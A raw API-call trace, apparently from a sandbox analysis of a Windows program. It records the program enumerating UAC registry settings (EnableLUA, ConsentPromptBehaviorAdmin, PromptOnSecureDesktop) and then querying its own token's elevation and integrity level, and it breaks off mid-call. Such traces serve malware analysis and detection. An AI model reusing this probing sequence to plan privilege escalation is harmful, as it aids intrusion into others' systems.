[0180.253] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x22f790, lpData=0x0, lpcbData=0x22f798*=0x0 | out: lpType=0x22f790*=0x4, lpData=0x0, lpcbData=0x22f798*=0x4) returned 0x0 [0180.253] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x22f790, lpData=0x49c438, lpcbData=0x22f798*=0x4 | out: lpType=0x22f790*=0x4, lpData=0x49c438*=0x1, lpcbData=0x22f798*=0x4) returned 0x0 [0180.253] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c438) returned 1 [0180.253] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49b860 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b878 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b888 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b898 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b930 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49b940 [0180.253] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b860 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b968 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b978 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b988 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x30) returned 0x49b998 [0180.254] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b940 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b950 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9d0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9e0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.254] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b998 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49b9a8 [0180.254] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.254] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.255] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.255] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.255] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b878) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c438) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b888) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c558) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b898) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c510) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c4c8) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c480) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b968) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3f0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b978) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3a8) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b988) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b950) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9d0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9e0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9a8) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.256] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x22f790, lpData=0x0, lpcbData=0x22f798*=0x0 | out: lpType=0x22f790*=0x4, lpData=0x0, lpcbData=0x22f798*=0x4) returned 0x0 [0180.256] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x22f790, lpData=0x49c240, lpcbData=0x22f798*=0x4 | out: lpType=0x22f790*=0x4, lpData=0x49c240*=0x5, lpcbData=0x22f798*=0x4) returned 0x0 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49b860 [0180.256] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0180.256] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0180.256] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x30) returned 0x49b930 [0180.257] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0180.257] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0180.257] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.257] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0180.258] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0180.258] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d208) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d218) returned 1 [0180.258] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0180.258] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x22f790, lpData=0x0, lpcbData=0x22f798*=0x0 | out: lpType=0x22f790*=0x4, lpData=0x0, lpcbData=0x22f798*=0x4) returned 0x0 [0180.258] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x22f790, lpData=0x49c480, lpcbData=0x22f798*=0x4 | out: lpType=0x22f790*=0x4, lpData=0x49c480*=0x1, lpcbData=0x22f798*=0x4) returned 0x0 [0180.258] RegCloseKey (hKey=0x24) returned 0x0 [0180.258] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x22f808 | out: TokenHandle=0x22f808*=0x24) returned 1 [0180.258] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x22f804, TokenInformationLength=0x4, ReturnLength=0x22f800 | out: TokenInformation=0x22f804, ReturnLength=0x22f800) returned 1 [0180.258] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x22f7f4 | out: TokenHandle=0x22f7f4*=0xa0) returned 1 [0180.259] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x22f7f0 | out: TokenInformation=0x0, ReturnLength=0x22f7f0) returned 0 [0180.259] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0180.259] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x49c5a0, TokenInformationLength=0x14, ReturnLength=0x22f7f0 | out: TokenInformation=0x49c5a0, ReturnLength=0x22f7f0) returned 1 [0180.259] GetSidSubAuthorityCount (pSid=0x49c5a8*(Revision=0x1, SubAuthorityCount=0x1, 